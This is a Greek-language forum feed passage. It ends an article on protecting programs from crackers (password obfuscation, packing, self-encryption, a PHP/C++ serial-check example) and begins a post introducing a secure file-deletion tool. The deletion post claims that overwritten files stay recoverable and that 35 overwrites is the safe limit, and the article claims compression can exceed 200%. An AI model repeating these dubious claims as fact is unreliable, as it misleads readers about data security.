}&lt;/span&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;Το κολπάκι που κάναμε εδώ είναι να μην χρησιμοποιήσουμε σταθερά για τον κωδικό, αλλά να τον κρύψουμε μέσα σε μια μετβλητή φαινομενικά άσχετων χαρακτήρων (την Κ) και να εξάγουμε (εμέσως) μέσα από αυτήν τα γράμματα που αποτελούν τον κωδικό, δηλαδή τα K[ 0 ], K[ 24 ], K[ 6 ], K[ 14 ], K[ 20 ], K[ 11 ], K[ 0 ], K[ 10 ], K[ 8 ], που είναι η λέξη "aygoulaki". Η τελική σύγκριση για τον κωδικό θα πραγματοποιείτε συγκρίνοντας χαρακτήρες (character by character) και όχι character arrays.&amp;nbsp; To αποτέλεσμα του εκτελέσιμου φαίνεται στην εικόνα 2. Απ’ ότι βλέπετε, δεν υπάρχει πουθένα (ούτε στην μνήμη, ούτε στους καταχωρητές) η περίφημη λέξη "aygoulaki". Φυσικά, το να σπάσει και αυτή η κωδικοποίηση είναι κάτι απλό, εφόσων ο cracker αρχίζει να ψάχνει καλύτερα τον κώδικα. Κι εμείς όμως δεν θα τον αφήσουμε παραπονεμένο ;-) θα εμπλουτίσουμε το παραπάνω πρόγραμμα με τις τεχνικές που ήδη αναφέραμε. Δηλαδή θα κάνουμε την function checkCode να καλεί καμιά 20αριά άλλες functions άσχετες, οι οποίες θα κάνουνε ένα σωρό πράξεις και ότι άλλο σκεφτούμε. Π.χ. θα δημιουργούν ένα αρχείο με το όνομα tmp.enc και θα γράφουνε μέσα σε αυτό ένα σωρό χαρακτήρες σε δεκαεξαδική μορφή αφού τους έχουν κάνει XOR κλπ κλπ. Φυσικά η ενέργεια αυτή θα γίνει για να μπερδέψει τον cracker. Επίσης, ο έλεγχος sCode[ 0 ] == K[ 0 ]&amp;nbsp; &amp;amp;&amp;amp; sCode[ 1 ] == K[ 24 ]... που είναι και ο πραγματικός έλεγχος, καλό είναι να μην βρίσκεται σε ένα μόνο σημείο και όλος μαζί. Μπορούμε να τον «διασπείρουμε» μέσα στις functions που θα καλέσουμε. Καλό είναι να βρίσκεται σε σημεία μαζί με άλλους ελέγχους (π.χ. τον έλεγχο ύπαρξης του αρχείου "tmp.enc"). Με αυτόν τον τρόπο ο cracker δεν θα μπορέσει εύκολα να καταλάβει ποιά σημεία του κώδικα είναι σημαντικά και ποιά όχι, καθώς τα σημαντικά με τα ασήματα θα «αναμιγνύονται» σε έναν επαναλαμβανόμενο κύκλο, κάνοντας το debugging... από εφιαλτικό έως αδύνατο.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;img src="https://farm6.staticflickr.com/5774/22096216241_8195a1795d_b.jpg"&gt;&lt;br&gt;Εικόνα 2: Πού είναι ο κωδικός; Χμ, μάλλον κρύφτηκε, μόνο ο... xeimwnas μας έμεινε.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;b&gt;Packing του εκτελέσιμου και self-encryption&lt;/b&gt;&lt;br&gt;Η μέθοδος αυτή χωρίζεται σε δυο βασικές κατηγορίες: &lt;br&gt;&lt;br&gt;-&amp;gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;u&gt;Packing Executables&lt;/u&gt;&lt;br&gt;Είναι η μετατροπή το εκτελέσιμου σε μια συμπιεσμένη μορφή ωστέ να μην μπορεί να διαβαστεί με ένα πρόγραμμα μετατροπής του exe σε αρχείο εντολών assembly. Κατά την εκτέλεση του προγράμματος γίνεται το unpacking στην μνήμη.&lt;br&gt;Ένας από τους πιο γνωστούς packers είναι ο UPX Packer (http://upx.sourceforge.net/). &lt;br&gt;Όμως, για κάθε κλειδί υπάρχει κι ένα αντικλείδι, οπότε, δεν θα λέγαμε οτι η μέθοδος αυτή από μόνη της είναι οτι καλύτερο, διότι οι περισσότεροι υποψήφιοι crackers το πρώτο πράγμα που κάνουνε όταν αποφασίσουνε να ασχοληθούνε με το "άθλημα", είναι να κατεβάσουμε όλους τους un packers... του "εμπορίου"... (π.χ. http://www.exetools.com/unpackers.htm). Μια άλλη χρήση των packers είναι και η οικονομία στον δίσκο, μιας και η συμπίεση μπορεί να φτάσει και πάνω από το 200%. Για παράδειγμα, το προγραμαματάκι που φτιάξαμε στο πρώτο μέρος του άρθρου (στο προηγούμενο τεύχος, το rock.exe - το θυμάστε;) συμπιέστηκε με τη χρήση του UPX, από τα 32kb στα 10.5kb. Καθόλου άσχημα!!&lt;br&gt;&lt;br&gt;-&amp;gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;u&gt;Τεχνικές self-encryption&lt;/u&gt;. Ίσως έχετε διαβάσει για τους λεγόμενους πολυμορφικούς ιούς που έχουν την ικανότητα να πολλαπλασιάζονται κρύβοντας κάθε φορά τον εαυτό τους μέσα στον εαυτό τους!! με μια διαφορετική μορφή κωδικοποίησης. Μπορούμε (ακολουθώντας την ίδια αρχή) να κάνουμε encrypt το πρόγραμμα ή κομμάτια αυτού και να τα κάνουμε decrypt run-time κατά βούληση και κατ' απαίτηση. &lt;br&gt;Η τεχνική αυτή ήδη έχει εφαρμοστεί στο παραπάνω μικρό προγραμματάκι μας με την μορφή του πίνακα χαρακτήρων Κ. Ο Κωδικός μας "aygoulaki" βρίσκεται κωδικοποιημένος μέσα στην Κ και στην ουσία η συνάρτηση checkCode είναι υπεύθυνη για την αποκωδικοποίηση του. Φυσικά αυτή είναι μια στοιχειώδης κωδικοποίηση και επιλέχτηκε για καθαρά εκπαιδευτικούς λόγους. Θα μπορούσε εύκολα ο πίνακας Κ να είναι κωδικοποιημένος με κάποια γνωστή μορφή κρυπτογράφισης (π.χ. DES) και να αποκρυπτογραφείται κατά την διάρκεια εκτέλεσης του προγράμματος (run time) μέσα στην checkCode. Το θέμα αυτό είναι πραγματικά ενδιαφέρον αλλά και προκλητικό μαζί. Για μια πιο προχωρημένη και λεπτομερή προσέγγιση, μπορείτε να ρίξετε μια ματιά κι εδώ: http://is.gd/7Jei&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;b&gt;Serial Number Authentication&lt;/b&gt;&lt;br&gt;Το λεγόμενο SNA υλοποιεί έναν αλγόριθμο πιστοποιήσης αυθεντικότητας. Συνήθως απαιτεί μια σειρά αριθμών σαν είσοδο και σαν έξοδο αναφέρει αν η σειρά είναι γνήσια ή όχι, εφαρμόζοντας μια σειρά πράξεων σε αυτούς τους αριθμούς. Μπορούμε εύκολα να δημιουργήσουμε έναν τέτοιο απλό αλγόριθμο, καθώς και να το υλοποιήσουμε με κάποια γλώσσα προγραμματισμού. Ας δούμε λοιπόν πως γίνεται κάτι τέτοιο:&lt;br&gt;&lt;br&gt;&lt;u&gt;Περιγραφή Αλγορίθμου&lt;/u&gt;:&lt;br&gt;Ο χρήστης θα εισάγει μια σειρά αριθμών της μορφής: A-B-C-D-E, όπου A, B, C, D, E είναι ακαίρεοι αριθμοί μεγαλύτεροι του μηδενός.&lt;br&gt;Αν ισχύουν όλα τα παρακάτω:&lt;br&gt;1.&amp;nbsp;&amp;nbsp; &amp;nbsp;A=B*C και&lt;br&gt;2.&amp;nbsp;&amp;nbsp; &amp;nbsp;D=B+C και&lt;br&gt;3.&amp;nbsp;&amp;nbsp; &amp;nbsp;Ε=Mod(Rv(A*B*C*D),A)&lt;br&gt;τότε η σειρά αριθμών θεωρείτε γνήσια.&lt;br&gt;Η συνάρτηση Rv επιστρέφει την αντίστροφη σειρά ενός αριθμού, δηλαδή Rv(512)=215.&lt;br&gt;H συνάρτηση Mod επιστρέφει το υπόλοιπο της διαίρεσης των ορισμάτων της. Πχ. Mod(20,3)=2.&lt;br&gt;Για παράδειγμα, η σειρά 12-4-3-7-9 είναι μια γνήσια σειρά.&lt;br&gt;&lt;br&gt;Η υλοποίηση ενός τέτοιου αλγόριθμου μέσα στον κώδικα του εκτελέσιμου δεν ακολουθείται πια στις μέρες μας. Αυτό που συχνά γίνεται είναι ο έλεγχος της γνησιότητας μέσω internet με τον κώδικα αυθεντικοποίησης να βρίσκεται σε έναν server. &lt;br&gt;Θα σας δείξουμε πως μπορείτε να κάνετε κάτι τέτοιο, δίνοντας το πρόγραμμα τόσο του client όσο και του server. Ο client θεωρούμε οτι θα είναι σε C++ και είναι αυτός που θα ζητάει αυθεντικοποίηση. Ο server θα είναι σε php, και θα είναι αυτός που θα αυθεντικοποιεί, δηλαδή αυτός που θα εξετάζει αν μια σειρά αριθμών είναι γνήσια ή όχι υλοποιώντας τον αλγόριθμό μας.&lt;br&gt;Θα σας δείξουμε πρώτα το php (sorry δεν το έχω σε asp...yet!) πρόγραμμα του server:&lt;br&gt;&lt;pre&gt;&lt;span style="color:Black;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;&amp;lt;?php
// Πρόγραμμα checkserial.php
$ser = $_GET["ser"];                 // Παίρνουμε την σειρά αριθμών.
$a = explode  ( "-"  , $ser  ,5 );   // την τοποθετούμε σε ένα πίνακα.
$e = $a[0] * $a[1] * $a[2] * $a[3];  // Βρίσκουμε το Ε κανονικό.
$e_rev = strrev($e);                 // Αναποδογυρίζουμε το Ε.
if (
        ($a[0] == $a[1] * $a[2] ) &amp;amp;&amp;amp;   // Εξετάζουμε το Α.
        ($a[3] == $a[1] + $a[2] ) &amp;amp;&amp;amp;   // Εξετάζουμε το D.
        (fmod($e_rev, $a[0]) == $a[4]) // Εξετάζουμε το E.
     )

    echo "!@#!@#234234!@#!@";       // Στην επιτυχία επιστέφουμε αυτό!
else
    echo "!@#!@#234234!@#!!";       // Στην αποτυχία επιστρέφουμε αυτό!! ;-)
?&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;Δίνοντας http://www.o_server_mou.com/checkserial.php?ser=12-4-3-7-9 θα πάρουμε σαν αποτέλεσμα το "!@#!@#234234!@#!!" (σε αποτυχία), ή το "!@#!@#234234!@#!@" σε περίπτωση επιτυχίας! Φυσικά δεν είμαστε και τόσο χαζοί να επιστρέφουμε TRUE/FALSE. Το "!@#!@#234234!@#!@" μπορούμε να το χειριστούμε με τέτοιο τρόπο ώστε να μην φαίνεται εύκολα οτι είναι αποτέλεσμα επιτυχυμένης προσπάθειας μιας και μοιάζει πάρα πολύ με το αποτέλεσμα της αποτυχημένης προσπάθειας. Στην ουσία διαφέρουν μόνο στο τελευταίο ψηφίο. Αυτό είναι ένα πρώτο και πολύ αρχικό στάδιο «κρυψίματος» κώδικα. Φυσικά και εδώ θα μπορούσαμε να στέλνουμε την απάντηση κωδικοποιημένη (κατά MD5) με την&amp;nbsp; χρήση της έτοιμης συνάρτησης της php MD5 (http://gr2.php.net/md5). &lt;br&gt;Από την άλλη πλευρά, σας δίνουμε τον κώδικα σε Microsoft C++ για να μπορέσετε να καλέσετε το checkserial.php στον παραπάνω server. Σας τον παρουσιάζουμε χωρίς προστασία ή προφύλαξη, για να τον καταλάβετε (κι εσείς, κι εμείς!). Να σημειώσουμε οτι ο server www.o_server_mou.com είναι ένας φανταστικός server. Στην θέση του μπορείτε να βάλετε τον δικό σας.&lt;br&gt;Ο κώδικας είναι ο ακόλουθος:&lt;br&gt;&lt;pre&gt;&lt;span style="color:Black;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;#include &lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"windows.h"&lt;/span&gt;
#include &lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"winhttp.h"&lt;/span&gt;
#include &lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"stdio.h"&lt;/span&gt;

&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; main( &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; argc, &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;char&lt;/span&gt;* argv[] )
{
    HINTERNET hSession;
    HINTERNET hConnect;
    HINTERNET hRequest;
    BOOL httpResult;
    DWORD data;
    DWORD dwSize &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;sizeof&lt;/span&gt;(DWORD);
    LPSTR pszOutBuffer &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; 0;
    DWORD dwDownloaded;

    &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// Χρησιμoποιούμε την WinHttpOpen για να ανοίξουμε την σύνδεση.&lt;/span&gt;
     hSession &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; WinHttpOpen( L&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"An HTTP Call"&lt;/span&gt;,
                          WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                          WINHTTP_NO_PROXY_NAME,
                          WINHTTP_NO_PROXY_BYPASS, 0 );

    &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// Καλούμε τις απαραίτητες παραμέτρους για web access.&lt;/span&gt;
    httpResult &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; WinHttpQueryOption( hSession,
                                   WINHTTP_OPTION_CONNECT_TIMEOUT,
                                   &amp;amp;data,
                                   &amp;amp;dwSize );

    &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;/// Εδώ εισάγουμε τον server.&lt;/span&gt;
    hConnect &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; WinHttpConnect( hSession,
                             L&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"www.o_server_mou.com"&lt;/span&gt;,
                             INTERNET_DEFAULT_HTTP_PORT,
                             0 );

    &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// Ορίσουμε την σειρά αριθμών.&lt;/span&gt;
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;char&lt;/span&gt; code[120] &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; &lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"123-456"&lt;/span&gt;;

    &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;//Ορίσουμε το πρόγραμμα που θα καλέσουμε.&lt;/span&gt;
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;char&lt;/span&gt; sGet[200] &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; &lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"/checkserial.php?ser="&lt;/span&gt;;
    
    strcat(sGet, code);

    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; len &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; strlen(sGet)+1;
    wchar_t *wURL_Get &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;new&lt;/span&gt; wchar_t[len];
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; ( wURL_Get == 0 )
     &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;return&lt;/span&gt; 0;
    memset(wURL_Get,0,len);
    ::MultiByteToWideChar(  CP_ACP, NULL,sGet, -1, wURL_Get,len );

    &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// Καλούμε τους HTTP Headers.&lt;/span&gt;
    hRequest &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; WinHttpOpenRequest( hConnect,
                                 L&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"GET"&lt;/span&gt;,
                                 wURL_Get,
                                 NULL,
                                 WINHTTP_NO_REFERER,
                                 WINHTTP_DEFAULT_ACCEPT_TYPES,
                                 0 );
                                 
    delete []wURL_Get;

    httpResult &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; WinHttpSendRequest( hRequest,
                                   WINHTTP_NO_ADDITIONAL_HEADERS,
                                   0,
                                   WINHTTP_NO_REQUEST_DATA,
                                   0,
                                   0,
                                   0 );

    httpResult &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; WinHttpReceiveResponse( hRequest, NULL );

    dwSize &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; 0;
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (!WinHttpQueryDataAvailable( hRequest, &amp;amp;dwSize)){
        printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Error %u in WinHttpQueryDataAvailable.\n"&lt;/span&gt;,
                GetLastError());
    }

    &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// Δημιουργούμε τον χώρο για την απάντηση απο τον server.&lt;/span&gt;
    pszOutBuffer &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;new&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;char&lt;/span&gt;[dwSize+1];
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (pszOutBuffer)
    {
        ZeroMemory(pszOutBuffer, dwSize+1);
        &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (!WinHttpReadData( hRequest,
                              (LPVOID)pszOutBuffer,
                              dwSize, &amp;amp;dwDownloaded))
            printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Error %u in WinHttpReadData.\n"&lt;/span&gt;,
                    GetLastError());
        &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;else&lt;/span&gt;{
            &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// ΕΔΩ!! ΓΙΝΕΤΑΙ Ο ΕΛΕΓΧΟΣ ΓΙΑ ΤΟ ΑΝ ΑΥΤΟ ΠΟΥ ΔΙΑΒΑΣΑΜΕ&lt;/span&gt;
                  &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// ΕΙΝΑΙ ΣΩΣΤΟ ΚΑΙ... ΝΟΜΙΜΟ!!! ;-)&lt;/span&gt;
            &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (!strcmp(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"!@#!@#234234!@#!@"&lt;/span&gt;, pszOutBuffer))
                printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Yes!\n"&lt;/span&gt;);
        }

        delete [] pszOutBuffer;
    }


  &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// clean up the mess, λέμε!!!&lt;/span&gt;
  httpResult &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; WinHttpCloseHandle( hRequest );
  &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt;( !httpResult )
      printf( &lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Could not close the hRequest handle.\n"&lt;/span&gt; );

  httpResult &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; WinHttpCloseHandle( hConnect );
  &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt;( !httpResult )
      printf( &lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Could not close the hConnect handle.\n"&lt;/span&gt; );

  httpResult &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; WinHttpCloseHandle( hSession );
  &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt;( !httpResult )
      printf( &lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Could not close the hSession handle.\n"&lt;/span&gt; );

  &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;return&lt;/span&gt;( 0 );
}&lt;/span&gt;&lt;/pre&gt;&lt;br&gt;&lt;b&gt;Συμπεράσματα&lt;br&gt;&lt;/b&gt;Σε αυτά τα 2 μέρη, είπα να δείξω μερικές πάρα πολύ απλές και &lt;u&gt;&lt;b&gt;εντελώς &lt;/b&gt;&lt;b&gt;εκπαιδευτικές&lt;/b&gt;&lt;/u&gt; μεθόδους δίνοντας και μερικά μικρά παραδείγματα σε κώδικα, για το πως μπορούμε να κάνουμε τα προγράμματα μας πιο ασφαλή και πιο δύσκολα στο να παραβιαστούν. Μην ξεχνάτε όμως, καμιά μέθοδος από μόνη της δεν είναι αρκετή. Πρέπει να συνδιαστούν και να αναμιχθούν και να... επαναληφθούν.&lt;br&gt;Οι κανόνες που ανάφερα είναι μόνο η αρχή.... &lt;br&gt;&lt;br&gt;&lt;br&gt;Happy Anti-Cracking...&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;b&gt;Αναφορές - Βιβλιογραφία&lt;/b&gt;&lt;br&gt;[ 1 ] 8088/8086 Προγραμματισμός και Εφαρμογές για τους IBM PC/XT και συμβατούς, Νίκος Νασούφης.&lt;br&gt;[ 2 ] "AsProtected Notepad!" By The CodeBreakers-Journal, Vol. 1, No. 2 (2004) (&lt;a href="http://is.gd/7Jei"&gt;http://is.gd/7Jei&lt;/a&gt;)&lt;br&gt;[ 3 ] Obfuscation (&lt;a href="http://is.gd/7Jkq"&gt;http://is.gd/7Jkq&lt;/a&gt;).&lt;br&gt;[ 4 ] Self-encrypting Code to Protect Against Analysis and Tampering (&lt;a href="http://is.gd/7KnZ"&gt;http://is.gd/7KnZ&lt;/a&gt;).&lt;br&gt;[ 5 ] The Art of Unpacking by Mark Vinsent Yason (&lt;a href="http://is.gd/7Kpe"&gt;http://is.gd/7Kpe&lt;/a&gt;)&lt;br&gt;[ 6 ] Setting Internet Options in WinHTTP (&lt;a href="http://is.gd/7KpV"&gt;http://is.gd/7KpV&lt;/a&gt;)&lt;br&gt;&lt;br&gt;&lt;font size="2"&gt;&lt;i&gt;[Πρώτη Δημοσίευση: Total Xake&lt;span class="Unicode" style="white-space:normal;text-decoration:none;"&gt;Я&lt;/span&gt;&lt;/i&gt;&lt;/font&gt;&lt;font size="1"&gt;&lt;font size="2"&gt;&lt;i&gt; Magazine #20 (Jan.2009)]&lt;/i&gt;&lt;/font&gt;&lt;/font&gt;&lt;br&gt;</description></item><item><title>Πραγματική Διαγραφή Αρχείων</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/57487.aspx</link><pubDate>Sun, 07 Mar 2010 20:46:02 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:57487</guid><dc:creator>Thiseas</dc:creator><slash:comments>10</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/57487.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=57487</wfw:commentRss><description>Όπως όλοι γνωρίζουμε (κι όσοι δεν γνωρίζουν είναι ευκαιρία να το μάθουν) οτι στο λειτουργικό σύστημα Windows (γενικώς) δεν υπάρχει πραγματική διαγραφή αρχείων. Θα μου πείτε τώρα "&lt;i&gt;Μα φυσικά! Αφού τα αρχεία πηγαίνουν στον κάδο ανακύκλωσης και μπορείς να τα επαναφέρεις ανά πάσα στιγμή...&lt;/i&gt;"&lt;br&gt;Χμ... σωστά, αλλά δεν μιλώ όμως για αυτήν την διαγραφή. Αυτό που λεω είναι οτι, ακόμα κι αν τα διαγράψεις από τον κάδο ανακύκλωσης, αυτά παραμένουν στον δίσκο μέχρι να ξαναγραφτούν (από πάνω) από κάποιο άλλο αρχείο. Αλλά ακόμα κι αν ξαναγραφτούν από πάνω.... πάλι!! μπορείς να τα επαναφέρεις κάνοντας χρήση ειδικών προγραμμάτων ανάκτησης δεδομένων. Κατά την διαγραφή, αυτό που στην πραγματικότητα διαγράφεται είναι η καταχώρηση (είτε στο &lt;a href="http://en.wikipedia.org/wiki/File_Allocation_Table"&gt;FAT&lt;/a&gt; ή είτε στο &lt;a href="http://en.wikipedia.org/wiki/Ntfs"&gt;NTFS&lt;/a&gt;) από τον πίνακα περιεχομένων (να το πω χοντρικά) που έχει κάθε δίσκος για να ξέρει τι αρχεία είναι καταχωρημένα σε αυτόν.&lt;br&gt;&lt;br&gt;Αυτά καθαυτά τα δεδομένα του διαγραμένου αρχείου παραμένουν αναλοίωτα, αλλά δεν "προστατεύονται" πια από το λειτουργικό σύστημα και μπορεί ανά πάσα στιγμή ο χώρος που καταλαμβάνουν, να δωθεί σε κάποιο άλλο αρχείο.&lt;br&gt;Εδώ όμως κάπου έρχεται να μας ενοχλήσει (άλλους λίγο, άλλους πολύ) ένα πρόβλημα εμπιστευτικότητας...&lt;br&gt;&lt;br&gt;Όπως όλοι γνωρίζουμε (κι όσοι δεν γνωρίζουν είναι ευκαιρία να το μάθουν - &lt;i&gt;το είπαμε αυτό, έλεος!!&lt;/i&gt;) η εμπιστευτικότητα (ή κατά το ελληνικότερον &lt;a href="http://en.wikipedia.org/wiki/Confidentiality"&gt;Confidentiality&lt;/a&gt;) είναι ένας από τους βασικούς συντελεστές της ασφάλειας. Σημαίνει με λίγα λόγια οτι κάτι το οποίο αφορά εμένα και δεν θέλω να το δει κάποιος άλλος, τότε &lt;u&gt;δεν&lt;/u&gt; θα μπορεί το δει!&lt;br&gt;Δηστυχώς όμως, τα θέμα με τα διεγραμμένα αρχεία είναι οτι μπορεί να παραβιαστεί η εμπιστευτικότητα τους αν και μόνο αν σβήσω ένα αρχείο το οποίο δεν θα ήθελα να δει κανένας και μετά κάποιος πονηρός αποκτήσει πρόσβαση στο δίσκο μου (με το ζόρι ή... χωρίς) και αρχίσει την... ψαχούλα! Με ειδικά εργαλεία μπορεί να επαναφέρει αρχεία (ακόμα κι αν έχουν ξαναγραφτεί από πάνω ή ακόμα και από προηγούμενα formats!!) τα οποία εγώ τα θεωρώ ιδιωτικά, τα έχω διαγράψει και δεν θέλω να τα δει ούτε να τα επαναφέρει κανείς. &lt;br&gt;Λύση έχω...?&lt;br&gt;Ναι έχω!&lt;br&gt;&amp;nbsp;Υπάρχουν αρκετά προγράμματα που κυκλοφορούν και κάνουν πραγματική διαγραφή των αρχείων, γράφοντας απ΄πάνω δεκάδες φορές άσχετους χαρακτήρες είτε blanks ώστε να μην είναι δυνατή η επαναφορά τους από κάποιο ειδικό εργαλείο. Έχει οριστεί οτι ο μέγιστος αριθμός ξαναγραψίματος που μπορείς να θεωρείσαι ασφαλής, οτι δηλαδή δεν θα μπορέσει κανένα tool να επανακτήσει το αρχείο σου, είναι 35. Δηστυχώς όμως τα περισσότερα προγράμματα που κάνουν πραγματικό deletion έχουν αρκετά μειονεκτήματα:&lt;br&gt;&lt;ul&gt;&lt;li&gt;Μερικά είναι πολύ αργά.&lt;/li&gt;&lt;li&gt;Άλλα δεν διαγράφουν ούτε αλλάζουν το όνομα του αρχείου από το FAT/NTFS.&lt;/li&gt;&lt;li&gt;Άλλα επαναγράφουν το αρχείο μία ή δύο μόνο φορές.&lt;/li&gt;&lt;li&gt;Άλλα επαναγράφουν το αρχείο μόνο με blanks και δεν σου δίνουν την δυνατότητα να ορίσεις εσύ τον χαρακτήρα που θα χρησιμοποιηθεί στην διαδικασία re-write.&lt;/li&gt;&lt;/ul&gt;Παίρνοντας την αφορμή αυτό το &lt;a href="http://www.dotnetzone.gr/cs/forums/thread/57191.aspx"&gt;post&lt;/a&gt;, είπα να μοιραστώ μαζί σας ένα πρόγραμμα που έχω γράψει για πραγματική διαγραφή αρχείων, στο οποίο προσπάθησα να ξεπεράσω τους παραπάνω περιορισμούς. Το πρόγραμμα το έγραψα σε C# σε .net 3.5 κάνοντας χρήση του δωρεάν πακέτου Express της microsoft.&lt;br&gt;Το βαπτισα &lt;b&gt;FileKiller&lt;/b&gt;. Είναι πλέον σε &lt;a href="http://www.gnu.org/copyleft/gpl.html"&gt;GNU general public license&lt;/a&gt;, 